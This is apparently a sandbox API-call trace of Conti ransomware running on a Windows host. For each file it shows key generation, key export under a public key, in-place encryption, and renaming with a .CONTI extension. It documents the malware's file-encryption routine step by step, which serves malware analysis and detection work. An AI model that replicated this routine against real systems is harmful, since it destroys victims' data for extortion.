	[0128.830] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl"
	[0128.831] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.CONTI"
	[0128.831] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.016.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.016.etl.conti")) returned 1
	[0128.831] GetProcessHeap () returned 0x1720000
	[0128.831] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.831] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0128.831] GetProcessHeap () returned 0x1720000
	[0128.831] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9730 | out: hHeap=0x1720000) returned 1
	[0128.831] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0128.831] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6b44538 | out: phKey=0x6b44538*=0x17c80f0) returned 1
	[0128.831] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4453c, pdwDataLen=0x447fe94 | out: pbData=0x6b4453c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0128.832] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.017.etl")) returned 0x2020
	[0128.832] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.017.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0128.832] GetLastError () returned 0x0
	[0128.832] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=12288) returned 1
	[0128.832] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0128.833] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.833] SetEndOfFile (hFile=0x3dc) returned 1
	[0128.833] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.833] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.833] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b4453c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4453c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0128.834] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.834] ReadFile (in: hFile=0x3dc, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x3000, lpOverlapped=0x0) returned 1
	[0128.835] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x3000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x3010) returned 1
	[0128.835] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.835] WriteFile (in: hFile=0x3dc, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x3010, lpOverlapped=0x0) returned 1
	[0128.835] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.835] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b44530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6b44530*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0128.835] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.835] CloseHandle (hObject=0x3dc) returned 1
	[0128.835] GetProcessHeap () returned 0x1720000
	[0128.835] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.835] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl"
	[0128.835] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.CONTI"
	[0128.835] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.017.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.017.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.017.etl.conti")) returned 1
	[0128.836] GetProcessHeap () returned 0x1720000
	[0128.836] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.836] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0128.836] GetProcessHeap () returned 0x1720000
	[0128.836] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c97c0 | out: hHeap=0x1720000) returned 1
	[0128.836] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0128.836] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6b46c00 | out: phKey=0x6b46c00*=0x17c85b0) returned 1
	[0128.836] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46c04, pdwDataLen=0x447fe94 | out: pbData=0x6b46c04*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0128.837] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.018.etl")) returned 0x2020
	[0128.837] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.018.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0128.837] GetLastError () returned 0x0
	[0128.837] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=4096) returned 1
	[0128.837] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0128.837] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.837] SetEndOfFile (hFile=0x3dc) returned 1
	[0128.837] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.837] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.837] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b46c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b46c04*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0128.839] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.839] ReadFile (in: hFile=0x3dc, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x1000, lpOverlapped=0x0) returned 1
	[0128.839] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x1000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x1010) returned 1
	[0128.839] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.839] WriteFile (in: hFile=0x3dc, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x1010, lpOverlapped=0x0) returned 1
	[0128.839] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.840] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b46bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6b46bf8*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0128.840] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.840] CloseHandle (hObject=0x3dc) returned 1
	[0128.840] GetProcessHeap () returned 0x1720000
	[0128.840] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.840] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl"
	[0128.840] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.CONTI"
	[0128.840] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.018.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.018.etl.conti")) returned 1
	[0128.841] GetProcessHeap () returned 0x1720000
	[0128.841] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.841] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0128.841] GetProcessHeap () returned 0x1720000
	[0128.841] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8e30 | out: hHeap=0x1720000) returned 1
	[0128.841] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0128.841] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6b47e40 | out: phKey=0x6b47e40*=0x17c8270) returned 1
	[0128.841] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47e44, pdwDataLen=0x447fe94 | out: pbData=0x6b47e44*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0128.842] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.019.etl")) returned 0x2020
	[0128.842] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.019.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0128.842] GetLastError () returned 0x0
	[0128.842] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=8192) returned 1
	[0128.842] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0128.842] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.842] SetEndOfFile (hFile=0x3dc) returned 1
	[0128.842] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.842] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.843] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b47e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b47e44*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0128.844] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.844] ReadFile (in: hFile=0x3dc, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2000, lpOverlapped=0x0) returned 1
	[0128.844] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2010) returned 1
	[0128.844] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.844] WriteFile (in: hFile=0x3dc, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2010, lpOverlapped=0x0) returned 1
	[0128.845] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.845] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b47e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6b47e38*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0128.845] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.845] CloseHandle (hObject=0x3dc) returned 1
	[0128.845] GetProcessHeap () returned 0x1720000
	[0128.845] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.845] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl"
	[0128.845] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.CONTI"
	[0128.845] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.019.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.019.etl.conti")) returned 1
	[0128.845] GetProcessHeap () returned 0x1720000
	[0128.845] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.846] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0128.846] GetProcessHeap () returned 0x1720000
	[0128.846] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8f50 | out: hHeap=0x1720000) returned 1
	[0128.846] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0128.846] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6b48088 | out: phKey=0x6b48088*=0x17c81b0) returned 1
	[0128.846] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4808c, pdwDataLen=0x447fe94 | out: pbData=0x6b4808c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0128.846] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.020.etl")) returned 0x2020
	[0128.847] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.020.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0128.847] GetLastError () returned 0x0
	[0128.847] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=12288) returned 1
	[0128.847] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0128.847] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.847] SetEndOfFile (hFile=0x3dc) returned 1
	[0128.847] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.847] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.847] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b4808c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4808c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0128.848] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.848] ReadFile (in: hFile=0x3dc, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x3000, lpOverlapped=0x0) returned 1
	[0129.805] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x3000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x3010) returned 1
	[0129.805] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.805] WriteFile (in: hFile=0x3dc, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x3010, lpOverlapped=0x0) returned 1
	[0129.805] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.805] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b48080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6b48080*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0129.805] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.805] CloseHandle (hObject=0x3dc) returned 1
	[0129.806] GetProcessHeap () returned 0x1720000
	[0129.806] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.806] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl"
	[0129.806] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.CONTI"
	[0129.806] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.020.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.020.etl.conti")) returned 1
	[0129.807] GetProcessHeap () returned 0x1720000
	[0129.807] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.807] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0129.807] GetProcessHeap () returned 0x1720000
	[0129.807] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8fe0 | out: hHeap=0x1720000) returned 1
	[0129.807] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0134.014] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6b47768 | out: phKey=0x6b47768*=0x17c85f0) returned 1
	[0134.014] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4776c, pdwDataLen=0x447fe94 | out: pbData=0x6b4776c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0134.015] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml")) returned 0x20
	[0134.015] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.015] GetLastError () returned 0x5
	[0134.015] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0134.015] GetProcessHeap () returned 0x1720000
	[0134.015] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e4c8 | out: hHeap=0x1720000) returned 1
	[0134.015] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0134.709] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6b48518 | out: phKey=0x6b48518*=0x17c8330) returned 1
	[0134.709] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4851c, pdwDataLen=0x447fe94 | out: pbData=0x6b4851c*, pdwDataLen=0x447fe94*=0x20c) returned 1
